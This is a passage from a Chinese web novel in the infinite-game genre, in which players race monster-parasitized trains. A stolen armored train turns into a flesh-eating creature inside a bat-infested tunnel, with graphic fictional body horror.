徐队长干脆地送他们去重生,为了防止埋在他们体内的亵渎之藤持续传播蔓延,用焚烧的方式进行消杀,出手前不忘让观看直播的巅峰成员记下他们的脸。 死亡只会清空记忆和等级的世界,很难界定秩序和法条,但可以拉入黑名单。 巅峰在中洲区的地位相当于退隐的“开朝元老”,中央城区面向玩家的公益福利,如免费治疗、免费食宿、道具购买补贴等,有87%都是巅峰倒贴腰包一手操办起来。 进入黑名单的人将不能再享受到这些福利,同时会被各大公会追击,以此来提醒那些心存歹念的玩家,不要以为无限游戏杀人不犯法,就可以为所欲为。 可以说,无限游戏进行到现在,在系统孜孜不倦地离间引诱下,玩家们还没有变成混沌邪恶,对善恶仍有清楚的认知,少不了中洲各大组织背后的辛勤操劳。 徐队长又将袭击者们藏匿的火车翻找出来,乍一看,嚯! 眼前的火车俨然变成一个全副武装的钢铁巨物。 三层钢板护盾,大功率高速柴油发动机,外置照明设备、减震器还有钛合金制动系统,从头到尾都是最高级的加强组件,灯光下反射出金属的凛冽冷光。 不是所有玩家都会修理火车。 仿佛为玩家们考虑,系统“贴心”地在第一个站点的五百米开外,设计了一栋树屋,里面住着一名经验丰富的老维修师,只要完成任务就能委托他修理火车。 如果带来更高级的配件,出于欣赏和热爱,老维修师甚至会积极免费地帮忙升级加固。 如此一来,更像是机制简化的升级竞速游戏了。 打怪,捡掉落的零件加固升级自己的载具,用以提高速度和对抗更强大的怪物,再捡强大怪物掉落的高级装备……一整个无限循环。 袭击者称第七使徒给了他们很多加强零件。 虽然不知道那个第七使徒是什么脑残回路,但宴初一估计这群袭击者肯定没怎么怀疑,直接一股脑的全用上了。 现在火车通体被零件生物寄生,半点抢救的余地都没留下。 徐队长拧紧眉头不赞同:“加强零件出自精英怪物,爆炸的威力和普通怪物相比只会更强,你不是坐火车,是坐在一堆炸弹上。” 宴初一坚持道:“但我不能靠近你们,我身上哪怕藏着一粒种子,所有人都要玩完。” 放风筝只是调侃,青年的体质,徐队长不可能将他拴在火车后面。 那么高的移速,稍不注意就可能摔成一滩肉泥。 “先将就坐吧。”宴初一还算淡定,“只要不切断零件生物的寄生须,它们就不会自爆。况且它们对血肉没反应,也不会主动袭击人,或许人类不在它们的食谱上。” “但它们迟早会吃完整个列车,到那时候你要怎么办?” “寄生植物不能长久地脱离宿主存活,到那时候应该也能看出端倪了。” 但宴初一总觉得事情没有那么简单,毕竟还有热带丛林这个谜题没解开,系统降低他们的体感温度,总不会是闲得慌。 见队友们还是很担心的样子,宴初一顿了顿,微妙地笑了一下:“别担心,我可是有神保佑的。” 两人都以为他指的是契约神祇谢叙白,或是金龙屏障。 宴初一不经意地瞄了眼黑气氤氲的天幕,乌云奔涌,像被狂风席卷的荒野。 很明显邪神躯壳进不来,只能这样张牙舞爪。 说不上是对邪神的暴脾气无可奈何,还是放心躯壳不会出事,宴初一摇了摇脑袋。 又忍不住弯起眼睛,轻轻一哂。 以防万一,密切接触过袭击者的布莱恩选择和谢叙白同坐一列火车。 自家队伍不能没有S级镇场,徐队长给自己施加隔绝屏障,包括鞋底一起隔离,回到他们的火车上。 由宴初一两人开着武装火车在前面开路,333号队伍再次出发。 彻夜行驶穿过热带雨林后,远方天际线上晨光熹微,一缕阳光照射到了第二个站点。 和阴气森森的第一个站点比起来,这里要阳光明媚得多。 宽阔干净的站台,自助式补给点,食物畅吃,饮用水畅饮,竟然都是免费的!不远处还有村镇飘出袅袅炊烟。 几队玩家在空地齐聚一堂,似乎在商量着什么。 看到宴初一两人下车,通通噤声,警惕地看了过来。 当越过两人,看见他们身后那列钢铁巨兽时,所有人的表情都变了,忍不住倒吸一口凉气。 好家伙!牛逼! 要组装出这么一个大家伙,得杀掉好几百只的精英怪吧? 瞬间所有玩家的眼中都充满了艳羡和敬畏。 除了人群中的某个棕色卷发青年,看到金发雇佣兵,猫着腰钻出人群,热情地大跨步走过来打招呼,满眼惊喜:“嗨布莱恩!没想到能在这里遇见你!” 紧跟着看见雇佣兵脖子上的项圈,卷发青年的脚步僵住。 那项圈其实就是个普通的项圈,但在其他洲区,众所周知,布莱恩不可能把这玩意主动戴在自己的脖子上。 缘由要追溯到他刚成名的那段时间,有很多玩家匿名给布莱恩发各种低出下限的不雅照,企图用某种交易博得庇护,搞得大狮子非常应激,公开场合愤然大骂这些东西让他恶心得想吐。 所以卷发青年反应很大,甚至说是惊骇:“你这个冷淡的大块头……” 紧接着,他的目光挪移到宴初一平静的脸上。 他也是现在才注意到,傲慢自大的布莱恩竟然肯在同行时让人走在自己的前面,这是何等不可思议的事情! 难道说……! 卷发男惊愕地瞪大眼珠子,尽量挤出个文雅婉转的说法:“终于开窍了吗?” 布莱恩一时没反应过来,宴初一倒是率先开了口,坦然地表明情况:“不好意思,我的男朋友不是他。” 全然不管自己说出了怎样惊世骇俗的一番话,淡然地往前走。 卷发青年看上去和布莱恩有私事要谈,他礼貌避让,先去前面的村镇调查下线索。 徒留布莱恩猛然回过味,不敢置信地盯着宴初一远去的背影。 他是gay?还有男朋友了?! 啊哈??? 误会了两人的关系,卷发青年有点意外,更意外宴初一的坦诚。 没人不想和雷神攀上点关系,哪怕是虚假的,会及时主动地撇清关系就很可贵。 他冲着宴初一吹了声口哨:“oh,我喜欢这个家伙。” 布莱恩听到这花花公子的论调就头疼:“他都说有……呃,伴侣了,你别去骚扰他。” 卷发青年耸了耸肩:“对了,你们两个为什么要套着层屏障,怕有人袭击吗?” “别担心,他们已经打累了,不会再动手,只不过嘛……” 布莱恩想解释遇到亵渎之藤的事,还没等开口,就看见他们的那列钢铁巨兽,突然爆出嘹亮的嗡鸣声。 呜—— 火车发动了。 布莱恩猝不及防,他和宴初一都还没上车! “……对。”卷发青年对上布莱恩震惊瞪大的瞳孔,嘴角抽搐,“不会有人动手,但会有人偷车。” 又几秒钟,眼见火车被顺利开走,还算淡定的卷发青年也愕然了:“等一等,你们车里竟然没人?” “fuck!”布莱恩额角青筋暴跳,怒气腾腾地要冲出去。 卷发青年心惊肉跳,生怕这一块被雷电荡平,急忙叫他消消气。 他也不是故意想看布莱恩被偷车,是以为两人至少会留几个队员在车上,谁知道这个队伍只有他们两个人,而且两人全都下车了! 这和把一袋子黄金放在闹市区,然后跑去上厕所有什么区别? 卷发青年怀疑布莱恩是不是已经把脑子进化掉了,一言难尽地吐槽:“刚才那名中洲人看起来挺聪明的,谁想到你俩都这么松懈。” “这不是重点!”布莱恩皱眉厉声道,“那些零件是怪物,遇到危险会自爆!” 他这么一说,卷发青年的表情更显得古怪,语不惊人死不休:“这又不是什么稀奇的秘密。” “什么?” 卷发青年:“那些怪物只吃金属,不断投喂它们,就能让它们维持住车体的稳定。” 布莱恩错愕:“你们为什么会知道?” “升级的时候需要更换零件,看到里面爬出触须的时候就知道了,老维修师亲自给我们演示了一遍,他说这里是一个怪物和人类共同依存的世界,怪物不吃人,是他们的好帮手。难道你们没遇到他?那你们怎么修理的火车?” “最重要的是,布莱恩。” 卷发青年像是重新认识他一样,上下仔细打量:“你什么时候开始在意那些小偷的安危了?他们偷东西,投机取巧,不劳而获,就算死掉也是活该,又不是不能复活。” “我……”布莱恩语塞。 正当这时,宴初一回来了。 看了看时间,这才过去不到十分钟。 布莱恩和卷发青年都有些意外:“你去干什么了?” “稍微调查了一下线索。” 稍微找全村人读了个心。 布莱恩:“有没有收获?” 宴初一:“了解得差不多了。” 事情有点严峻,印证了他最开始那股不祥的预感,所以他才会快步回来。 卷发青年看他表现得挺像那么回事,嘴角一抽:“OK,要不要交换情报?” 他是真的很好奇,就这么几分钟的功夫,能调查出什么结果。 村镇的人极其排外,他去的时候吃了一嘴闭门羹,威逼利诱都不能让他们吐出个屁来。 他怀疑宴初一在说大话,并且有充分的证据。 布莱恩没顾得上高兴,回头看向空掉的站台,怒火又窜了上来:“宴,我们的列车被偷走了。” 宴初一扫一眼,还算淡定:“没事,那群人留了列火车,我们坐他们的,更安全。” “我们的更安全,那些怪物靠不断投喂金属就能驯养!这群该死的小偷!”布莱恩懊恼极了,两列火车的配置完全不能比,他们那列还有空调和冰箱! 岂料宴初一摇了摇头:“不,那列车非常危险,我们恐怕要快点追上去,不然他们全部都会死在第三个站点。” 第209章 观光小火车(9) 隐去读心的能力,宴初一开始解释他在城镇里的发现及推测。 卷发青年也从最初的不以为意,到后面听得心惊肉跳。 他怀疑青年在危言耸听,忍不住看向布莱恩,发现金发雇佣兵不仅听得认真,还无意识流露出信服的目光,当即心脏一跳,连忙收起那副轻浮的做派。 “如果你的推测是真的,那麻烦可就大了。”卷发青年鼻子微皱,似乎感到棘手,“可是你们没办法现在就追上去。” 宴初一看他一眼,目光四下转了一圈,了然道:“前面的地形是不是出了问题?” 卷发青年再一次惊讶他的未卜先知:“对,你们也提前侦查过?” 他以为宴初一和他们一样使用过侦察道具,谁想到青年却说:“推测出来的。” 宴初一眉眼淡然,言简意赅地分析道:“大部分玩家都以为这是个简单的竞速赛车类游戏,时间就是生命。然而这个站点却汇聚了这么多无所事事的玩家,说明你们遇到了无法解决的问题,被迫卡在这里。 但这个问题应该是暂时的,不然你们不会这么沉得住气。” “我们下车的时候,很多人都目光飘忽,不敢和我们直视,说明他们也知道能搞到顶级配置的队伍不好惹。 而在这样的前提下,那些小偷还是铤而走险开走了我们的火车。要么自身实力强大到有恃无恐,要么笃定我们一时半会追不上去。” 宴初一条理不紊地点明:“如果真的不怕我们,也不至于跑得这么快,所以是后者。” “以此为依据,他们不知道我们缺什么,有什么,却能如此笃定,可见限制条件肉眼就能分辨出来。 再结合关卡内容,最可能符合的条件就是火车配置。我刚才看了一眼,站点内确实没有配置相对较高的火车。载具的升级往往是为了帮助人类应付棘手的交通问题,譬如地形、气候、生物之类的。气候是自然灾害,生物是诡怪,这两个问题如果玩家合力用道具都解决不了,那么我也不认为这列小小的火车能抗住,最大的可能就是地形了。” 对上卷发青年愈发瞪大的眼珠子,宴初一说:“当然,也不排除其他原因,不过你的反应已经告诉我,情况和我预料的大差不离。” “my god……”卷发青年震撼得无以复加,情不自禁地看向布莱恩,“你这位朋友的能力该不会是逻辑推理吧?” 布莱恩淡淡地觑他一眼。 这就把你吓到了? 你要是见过他之前连续六次带人通关,刷新十一分钟的极限记录,还把店老板给解决掉的辉煌战果,怕不是会被吓得更厉害。 卷发青年总觉得布莱恩的眼神中充满对他的鄙夷,忍不住腹诽:是中洲小哥聪明不是你聪明,你在这里得意个什么劲儿。 布莱恩:那也是我队友,怎么,你羡慕? 卷发青年嘴角抽搐不再理他,但对宴初一的态度明显尊敬了许多,如实说道:“就在几十公里开外,有一条山洞隧道,栖息着许多嗜血的洞穴生物,起码上万只,见人就咬。” 但那些怪物不是重点。 重点在进隧道之前,将有一个倾斜度高达45°的高坡横贯在他们的眼前,动力不足的火车肯定爬不上去。 而他们又只有在坐上火车之后,才能看见并触及前往游戏王国的轨道。 所以这里有这么多玩家,都是在等待副本刷新小怪,好刷到高级发动机。 宴初一若有所思:“你们是否尝试过让人在后面推车?” 卷发青年不由得佩服宴初一的异想天开。 虽然写着观光火车,但这些火车的规模配置堪比普通列车,加上升级配件和乘坐的玩家,起码一千多吨!那可是倾斜度45的陡坡! 到哪儿去找能推得动的……等等! 卷发青年猛然转向布莱恩,宴初一也顺势看了过去,把雇佣兵盯得眉毛狂跳,愕然瞪眼:“你们这群家伙该不会是想让我——” 另一边。 偷火车的队伍生怕宴初一两人追上来,一上车就把动力拉满,开最大时速。 火车如同疾驰的雷电,掠上高坡划出一道笔直的残影,不过十多分钟就冲出几十公里开外,幽暗的隧道近在咫尺。 “这动力配置也太爽了!这么陡的坡度,上山都不带减速的!”队伍中有人兴奋赞道。 有人懒洋洋地躺在座椅上:“是啊,也是咱们运气不赖,眼疾手快,遇到两个傻大缺忘记留人看守,要不然还搁那儿苦兮兮地刷怪呢!” “但我还是有点担心,你说要是之后遇到他们怎么办?” 一人回道:“第二个站点至少有四支队伍,僧多肉少,高级零件爆率又低,不花个几天时间追不上来,到那时候咱们也早跑了,放宽心。” 一群玩家相互对视,嘿嘿地笑,说不出猥琐和志得意满。 至于偷东西的负罪感? 抱歉那是真没有。火车上又没有标注哪个队伍的名字,放那里他们还合计没人要呢! 正是这个时候,空气忽然扭曲一瞬,两道人影突如其来地撞入众人视野。 陌生人来得快,出招更快,站在附近的玩家猝不及防,被一把锋利的镰刀勾住脖子,玄墨刀锋丝毫没有收势,往后一拉,破开皮肉割开一条刺目的血线! 就在此时,一根铁制长鞭如蛟龙出击,将镰刀缠绕拽住,绷紧时发出金石交戈的脆响! 清亮的女声怒喝道:“你是真的狗改不了吃屎!把镰刀收回去!” “他们可是拐跑了你的朋友,这种杂碎,杀掉也无所谓吧?”穿兜帽的男人满眼无辜。 女生的眼神唰一下冷若冰霜,仿佛随时都能和他打起来,兜帽男妥协地收回镰刀,举起手表示认输:“好吧好吧,只要你能帮我找到那个神,听你的就是。” 女生眉头拧紧像是憋着火:“到底要我说多少遍,跟着我见不到谢神,我也不可能带你去见祂……算了。” 经验告诉她,不要试图和智障讲道理。 女生名叫许清然,《犬害》副本中被谢叙白救过的玩家。 她也不知道自己造了什么孽,怎么就被这个绰号疯子的兜帽男缠上了。 《屠龙少年》副本中,兜帽男以她为饵,想要吸引谢叙白现身,结果没能得手,当场发了瘟,赶在红龙暴走的前夕将她脖子掐断。 不知道是不是兜帽男临死前透露过他不会失忆的惊世骇闻,这一次重生后,许清然意外发现自己居然也没有失去记忆! 因为通关记录被清空,此后没有再遇到谢叙白,观众渐渐将她淡忘。 一边是严岳再次躺赢,一边是她的直播间变得无人问津,还有不少傻叉在那冷嘲热讽,落差不是一般的大。 但许清然发现自己比想象中还要接受良好——或许她真的成长了。 有兜帽男的惨痛教训在前,这次她特别小心翼翼,对外隐藏自己没有失忆的事实,并借此优势,一头扎进试炼池埋头苦练。 到如今学有所成,终于有资格参与新一轮首通试炼,只是没想到运气一如既往的衰,居然和兜帽男匹配到同一支队伍。 冤家路窄,新仇旧恨,当场爆发了一场大战,结果是两个携带记忆的bug,互相都奈何不了对方。 战斗到白热化的地步,当许清然以为自己得豁出命和疯子同归于尽时,未曾想疯子直接举手投降,问就是被谢叙白惩罚后幡然醒悟,痛改前非。 许清然信他个鬼,一看疯子的脖颈,居然真的套着一个金光氤氲的项圈。 因为产生了挟持许清然的恶意,项圈不断收束,勒得疯子脸颊涨红,骨骼咔嚓作响,几乎被勒断气,镰刀都快拿不稳了,难怪要休战。 距离第一次见到谢叙白,好像是很久之前的事情了,如今的许清然说不出自己对那位仁慈的神祇是什么感觉。 遗憾“明月高悬曾照过我”,还是嫉妒严岳能持续得到谢叙白的照拂? 都不是。 许清然蓦然发现,当她在仇人的脖子上看到约束行动的项圈时,紧绷的神经倏然一松,怔愣着,前所未有的安心如潮水将她包裹。 就像看到戕害过自己的犯人终于被绳之以法。 总之许清然不相信疯子会弃恶从善,但她相信谢叙白一定能在疯子害人前将他解决,为此倒也能忍耐三分。 所谓的被掳走的同伴其实是她这次的任务目标,但她对疯子不会说真话。 许清然忽视那些惊惧的目光,一路往前踏过好几节车厢,终于看到一个如同洋娃娃般坐在轮椅上的女生。 女生很漂亮,有着欧洲人深邃立体的五官,柔顺的金色卷发如波浪般垂在胸腔,皮肤白如冰雪。 然而她的瞳孔异于常人,好似蒙着一层羽蓝纱衣,再一细看,那瞳孔深处映着几颗恒星般的球体,呈公转律动,眨眨眼,又消失不见。 她失焦的眼睛长久地落在一个地方,像是在发呆,听到前面传出的动静也没有抬头。 如果布莱恩在这,必定会乍然一惊,因为这个女生就是游戏开场前测算到他会遇到死劫的【占星师】,拥有【命运女神】遗留下来的时间系神器——【窥见未来之眼】。 “……莉莉丝!”许清然发现了她,掩不住惊喜,连忙快步走过来,蹲下身握住金发女生的双手,“你还记得我吗?我叫许清然,我们之前见过面,有人拜托我将你送到安全的地方。” 所幸莉莉丝不是没反应,缓缓抬起头,语言转换为生疏的中文,语出惊人地说道:“没关系。这里就是当下最安全的地方了。” 难道莉莉丝不是被拐走的,是主动登上了这列火车? 许清然惊疑不定,皱眉道:“可是这列火车的污染度太高了,用不了多久就会出事。” “高”都是委婉的说法,定点传送前侦测到241%的污染值,一度让许清然的心骤然提到嗓子眼! 莉莉丝点头,湛蓝眼眸里恒星交织转动,如梦似幻:“会出事,但那位存在也会在危急时赶来。只有他出现,才会让黑王降临,主动打开通向黑塔高层的捷径。” 许清然还想再说点什么,火车外突然传来嘭嘭几声巨响,车身跟着一阵轻微摇晃,她急忙转身将莉莉丝护在身后:“什么情况?!” 嘭! 一个漆黑的东西狠狠撞上窗户玻璃,鲜红的血液如花绽放!在车内灯光的映照下,血液顺着玻璃往下淌,看上去触目惊心。 像是突然从白天转换黑夜,外面变得昏暗无比,但也能隐约看清楚那东西的长相,尖耳红眼獠牙,分明是一只巨大的嗜血蝙蝠! “不要慌张!”见人群开始恐慌,队伍中有人站出来高声说明情况,“我们进隧道了,光线变暗很正常!火车护甲很高,移速更快,这些怪物再来一百只也破不了防!都安静下来!” 如此安抚上好几遍,众人见火车只是颤动,确实没有丝毫受损,慢慢地拍着胸脯直感庆幸。 ——还好他们偷来了这辆顶级配置的火车。 却无从看见,当不断有巨型蝙蝠撞上火车炸成血花,血液蜿蜒流入零件生物与铁皮之间的缝隙,一只扭动的触须骤然探出甲壳,仿佛撕破伪装,将那血液混着内脏碎屑贪婪吸食。 得到血食的滋润,银白金属外壳兴奋痉挛,逐渐分离为两层,内层是收缩的红肉,外层朝外鼓起,撑出一层泡囊般的薄膜,油腻透明,黏液聚集,逐渐结出一层节肢动物般的黑褐色甲壳。 第210章 观光小火车(10)…… 众人安慰自己情况会变好,但实际看上去完全不像那么一回事。 火车头不断传来撞击蝙蝠的嘭嘭声响,破碎的血肉顺着线型车身流窜到车子的各个位置,糊作一团。 没等众人做出反应,蔓延开的血腥气就吸引来了更多的蝙蝠,四面八方全是尖细的嘶叫! 就算因为车速过快,一只两只扒不住,但一百只扑上来,总有那么几只能挂住脚。 好巧不巧,改造零件衔接处的突起正好给它们提供了落脚的地方! 仿佛只是一眨眼的功夫,蝙蝠就越聚越多。 密密麻麻,成群结队,宽大黝黑的翅膀将车窗盖得严丝合缝。 驾驶室对外再也看不到清晰的路况,只能看见蝙蝠宛如爬虫般窸窸窣窣地贴在窗户玻璃上,猩红的眼睛看向玩家,上下獠牙咔哒咔哒地撞在一起,仿佛尖笑。 操作员慌得六神无主,再低头一看。仪表盘上某几项数值突然高得可怕,频频亮起红灯,明显是哪里出了故障! 汇报给老大,得到一声怒骂。 “艹他X的,现在这种情况你告诉我要怎么下去修?!一出去就会被啃得渣都不剩!” 他们现在就是后悔,十万分的后悔。本以为偷到顶配火车就能够高枕无忧轻松过关,谁知道会状况频出。 走在前面的那些队伍到底是怎么闯过的这条隧道? 恰是这个时候,头顶的车灯突然啪嚓一声爆开,然后熄灭了! 黑暗如潮水袭来,好不容易平复下来的人群再一次恐慌。 他们之中只有部分是高玩,其他都是被全民战线模式卷进来的生活玩家,长久没有经历过这么凶险的副本,能活到现在全靠侥幸。 往日他们在直播间嬉笑评判那些主播有多么胆小怕事扶不上墙,现如今轮到自己才知道根本没有那么轻松。 黑暗降临的瞬间,恐惧如同无形大手攥住心脏,不少人直接腿软到抱头蹲地,尖叫快过大脑脱口而出。 “啊啊啊啊啊!” 突然,一道光芒穿破黑暗,照射在他们眼泪鼻涕横流的脸上。 那光芒并不强烈,散发着暖暖的热意,仿佛能安抚不稳的情绪。 人群茫然地抬头看过去,只见许清然单手往上托举着一团白色的光晕,沉声静气地喝道:“不就是灯坏了吗,慌什么慌?实在怕黑就把你们的照明设备拿出来。” 她这话提醒了其他人。 虽然很久没参加首通试炼,但为了能活命,他们也提前做过准备工作,手电筒更是人手必备的冒险工具。 只是刚打开手电筒,对应窗户的蝙蝠就跟发瘟似的,疯狂用獠牙敲击玻璃,嘭嘭直响! 玩家手一哆嗦,连忙关了灯,那些怪物才重新恢复平静。 有了对比,许清然手中的光突然显得很不一般,吸引不少人偷偷注目。 她本人自然也发现了这一情况,试探性地托起光团照向最近的窗户。 本来那里的蝙蝠将窗户扒得死死的,凶神恶煞地朝玩家嘶吼,光亮照过来的一瞬间,登时就像老鼠见了猫,慌张地松开爪子,扑棱翅膀,没两下就倒飞了出去。 许清然惊喜地看了看手里的光。 可惜她只有这一团光,一次照不全整个车身。而且只要把光挪走,那些蝙蝠很快又会涌上来,没完没了。 看了看车厢内的众人,许清然拧了拧眉头,挣扎片刻后,长长地吐出一口气,对莉莉丝说道:“你愿意和我到驾驶室去吗?” 如果说整列车有什么地方最不能有事,非驾驶室莫属。 现在这种有余力的情况下,许清然不介意出手保住驾驶室,毕竟火车失控也会给她们带来麻烦。 只是以往的经历让许清然再也做不到舍己救人,一旦出现什么变故,她肯定毫不犹豫地扛起救援目标,第一时间跑得远远的。 这样看来,也难怪她几次祷告都听不到谢叙白的神谕。 毕竟那位神祇可是说过——如果自以为问心无愧,便可在走投无路时呼唤祂的名。 而不会失去记忆的她,估计永远都称不上问心无愧。 莉莉丝没有拒绝,任由许清然推着她的轮椅走向驾驶室。 似乎不经意地看向她手里的光团:“你从哪里得到了这项技能?” “你说这团白光?”许清然稍作回忆,“好像是《请遵循设定》快结束之前。” “不过我没有参加那一次的首通试炼,一直泡在试炼池里训练。不小心踩到陷阱,掉进一个特别黑的地洞,当时我都快被吓哭了,求爷爷告奶奶的,没过多久就在出口发现了它。” 其实那时的情况远没有许清然说的这般轻描淡写。 她不是自己踩中陷阱,是被人推下去的。 从高处摔下去,断掉两根肋骨,张嘴就会呛出血沫,几乎喘不上气。 随身携带的道具也都用光了,环顾四周黑得伸手不见五指,血腥味淹没口鼻,随手一摸就是腐烂的尸体,还有杀人的怪物在上面虎视眈眈。 那时候她哭得稀里哗啦,感觉自己又要死了,爸爸妈妈,所有认识的人,她喊了好几遍,没有得到任何回应。 谢叙白的名字她也喊了,照样没听到一点声音。 最后许清然也不知道自己怎么想的,她本来已经绝望到躺在地上等死了,或许还是不甘心吧,忽然鼓起勇气,挣扎着,手脚并用地往前爬。 不知道过了多久,这团白光出现在她的头顶。 她满脸血污,眼神涣散,迷迷瞪瞪地伸出手去触碰这黑暗里唯一的光源。 黝黑地洞瞬间光芒大绽,如同被阳光笼罩。 不止身上的伤痊愈了,技能面板上还悄无声息地多出一项。 【主动技能】:一团光 【介绍】:不知道有什么用处,但使用不会消耗精神力,或许可以拿来照明? “原来是这样。恭喜你捡到宝了,这是项很有用的技能,它的光芒让我想起了曾经的一位故人。”莉莉丝笑道,“……真的是非常美丽的金色。” 前一句话,莉莉丝说的是英语。 后一句话则突然变换语调,宛如怀念着什么的呢喃自语,眼睫也温和地垂落下去。 万能语言包很贵,许清然只买下了几个常见国家的语言包,而莉莉丝后面说的是比较冷门的小语种,她听不懂。 下意识关注了前一句话:“故人?” “是的,故人。我既然分得了他母亲四分之一的遗产,就该为他做事,履行曾经的约定,哪怕现在的他已经忘了这回事。”莉莉丝说。 许清然一怔,忽然看见莉莉丝对她伸出双手,用请求拥抱的姿势,念出她的名字:“许-清-然。” 一般外国人说中文都会有种怪异的腔调,但莉莉丝很自然,像是经常和人用中文对话:“我希望你能抱起我,这样等下逃命的时候会方便很多。” 许清然下意识照做。 莉莉丝不仅长得像洋娃娃,身材体型也像,单手就能揽住腰肢,轻轻一提便抱了起来。 只是许清然感受到了莉莉丝的僵硬,忍不住问:“你既然不相信我,为什么要勉强……” “不是不相信,我只是很久没和人这样亲密接触过了,很抱歉接下来将会给你带来的麻烦。” 莉莉丝将轮椅收回背包,脑袋靠上许清然的肩膀,以此减小行动会遇到的阻力:“不要过分贬低自己,你是被他赐福的孩子,值得信任。” 赐福?谁的赐福?赐什么福? 许清然顺着莉莉丝的目光,猛然看向手里的光,刹那间脑子里掠过某个不可思议的猜想。 没等细究个彻底,她听到莉莉丝低语犹如叹息:“准备好,我们要开始逃命了。” 话音未落,后车厢传来嘈杂的吵闹声。 不能开灯的玩家要么忍受黑暗,要么只能朝自带安全光源的许清然靠近。 大部分人选了后者,在第一节 车厢抱团。 主张偷车的那几人开始有点不乐意了。 本来他们在队伍里实力最强,地位斐然,让人往东没人敢往西。 结果许清然一出现,抢了风头不说,也让众人的心隐隐倒戈过去,喊人过去商量都没几个人挪步,他丫的一群墙头草! 更可气的是,他们本想用强把其他人拖过来,他们才是一队的人,料想许清然也不好说什么。 谁知道那个拿镰刀的疯子颠颠的走过来,坐在第一节 车厢的连接处,单脚抬起来往过道的墙壁上一蹬,就施施然地堵那儿了! 草了,这让他们怎么过去,钻胯吗? 老大气急败坏,当场破口大骂:“那些怪物折腾半天,连条缝儿都没敲开,我真不知道你们在害怕什么!这列火车是我们费心搞来的,你们这群白眼狼不知道感恩也就罢了,居然这样报答我们?” 有人小声嘀咕:“说得挺冠冕堂皇,不就是偷来的吗。” 强行带上他们也不是发善心,纯属想要多拉几个替罪羊,等到跑路的时候好找人垫背。 见平时一棍子打不出个屁的家伙居然敢顶撞自己,老大顿时有点气不活,张嘴又要开骂,却被一团啪嗒掉下来的黏液糊了满脸。 “靠!臭死了!什么鬼东西!呕——” 难以言喻的腥臭味弥漫口鼻,老大反射性作呕,没等吐几下,后知后觉地感觉到脸上传来的剧痛。 不止是他,还在后车厢的人几乎都感觉到空气变得黏稠滑腻,湿漉漉的,充满胶质感和酸臭味,并伴随皮肤隐隐泛起的刺痛。 “怎么回事?啊……啊!我的脸!”老大随手一摸,摸下来一大块东西,他感觉自己的脸痛得麻木了,视线也不太清晰,眯着眼睛凑近仔细去看,竟然是一层血淋淋的皮! 难道这是他的皮?他,他的脸皮掉下来了?! 老大慌了,真真切切地慌了。 他心惊胆战地对其他人求助:“我受伤了!你们谁还剩下治疗道具?快点——” 结果步子刚迈出去,一下踩到湿黏的地面,猛地摔倒在地。 他哎哟一叫,慌慌张张想站起身,手掌往下一摸,登时僵住。 ……不对啊? 为什么地面会这么软?《 》 210-220 第211章 观光小火车(11)…… 异变从火车尾部的车厢开始。 滑腻的黏液越来越多,以一种并不缓慢的速度渗出车壁,成股地从天花板淌下,重重砸在玩家的身上。 黑暗中看不清黏液的颜色,只闻得见一股食物过度发酵的酸臭味,强烈冲鼻。 抬手想把这些黏液甩掉,皮肤便像一层破碎的纸皮般被扯落下来,暴露在外的血肉受到刺激不断收缩。 可很快,就连这微小的反弹都感受不到了,原来是手指的皮肉也在簌簌地往下掉。 表皮没了,真皮没了,脂肪和结缔组织也没了,从指骨滑落,像高温下融化的蜡烛。 也是这时,坐在后车厢的人才想到要逃跑,远离这个黏液越来越多的地方。 可是为什么他们动不了? 为什么双腿没法使劲? 为什么感知不到身体的存在? 一名玩家转动木讷迟钝的大脑,盯着漫上脚掌的黏液,用力地掐住扶手,拼着一口气把自己从座椅上撕了下来。 是真的“撕”了下来。 大块的血肉粘在座椅上,失去肌肉支撑的玩家眼前一黑,重重栽倒下去,来不及多说一句话,就被咕噜噜涌上来的黏液吞没。 唯一还算清醒的老大看见这一幕,更受不了了,朝着人多的车厢连滚带爬,凄惨地放声嘶嚎:“救命!救救我!……啊!” 车身猛地一震,底部传来激烈的呲啦声响,他被巨大惯性狠狠地甩上车壁。 火车在倾斜,可是它倾斜得毫无道理,并没有来自外部的冲击力可以改变它的平衡状态。 许清然抱着莉莉丝,地板倾斜时反应极快地调转身体,让自己的后背撞上车壁而并非身前,要不莉莉丝要被她压得吐血。 是轮对还是轨道出了问题? 不,都不对!脚下没有异常的颠簸感,车身的变势非常突然顺滑。而且是从后往前,她们又不是倒着开的车! 紧跟着许清然发现底下的触感不对劲,为什么会这么软? 她仔细一看,白光照耀火车内部,银白的金属底色逐渐变深,泛起极具肉感的艳红,表面反光,触感回弹,似乎形成了一层韧性极强的薄膜。 经常和怪物战斗的人并不陌生,这分明就是真实的血肉! 刹那间许清然想起刚才那突然的一摔,最后几节车厢没有滞涩感地摇摆,带动全身,就像是……就像是火车突然活过来,在不耐烦地甩尾一样! “难道这列火车变成了怪物?” 会腐蚀血肉的黏液,酸臭的气味,护住血肉的薄膜。 许清然喃喃。 “……我们正在怪物的肚子里?” 锵! 一道漆黑的影子从许清然的眼前掠过,是疯子兜帽男。 他手持镰刀,冲着最近的一扇门用力劈砍,刀锋与门撞出激烈的火花,明明变成血肉却仍旧有着合金的坚硬,这一下竟然只刮出一道浅显的印子! 疯子用力地啧了一声,但他反应不慢,下一秒镰刀转向竖着插入门缝。整个车厢这里是最薄弱的地方,薄膜也未完全成型,被他轻易捅穿。 接着疯子又用镰刀做支点,将门撬开一条可容一人通过的缝,转头怒声冲着驾驶室里的许清然说道。 “想等死吗?还不过来!” 许清然刚想过去,突然被莉莉丝抓住手腕,后者冲她摇摇头。 她没过去,几道人影却争先恐后地冲了上去,是跌跌撞撞爬到前车厢的老大还有他的几名马腿。趁着疯子腾不开手,掰住他往后一扯! 他们欣喜若狂:“快跳车,跳车能活!” 却被尖锐的獠牙从上往下扎穿头颅,身体狠狠一震。 在内部绝境的逼迫下,几乎所有人都忘记了外面扒着火车的蝙蝠群,抢在最前面的老大首当其冲,被蝙蝠叼住脑袋,硬生生扯出车厢。 第二个人反应不及,从被撑开的车门跌落出去。 刹那间昏暗地洞的墙壁上亮起无数双猩红血眼,扑簌簌成群地冲着他咬过来,空气中只留撕心裂肺的惨叫:“啊啊啊啊啊啊啊!” 留在车里是等死,而跳出去…… 疯子迅速比对双方的战斗力,一打几十没问题,但被蝙蝠成千上万地堵在隧道里就没什么悬念了,他果断将镰刀收回。 可事情并不算完,这一动作像是引起某种连锁反应,火车再次狠狠一震,随之而来的是强烈的失重感,车厢里的人宛若被颠勺般往上一弹。 他们能明显感觉得到。 ——火车站起来了。 不仅站了起来,还在隧道里疯狂乱撞,嘭嘭的响声比任何时候都要激烈,触目惊心! 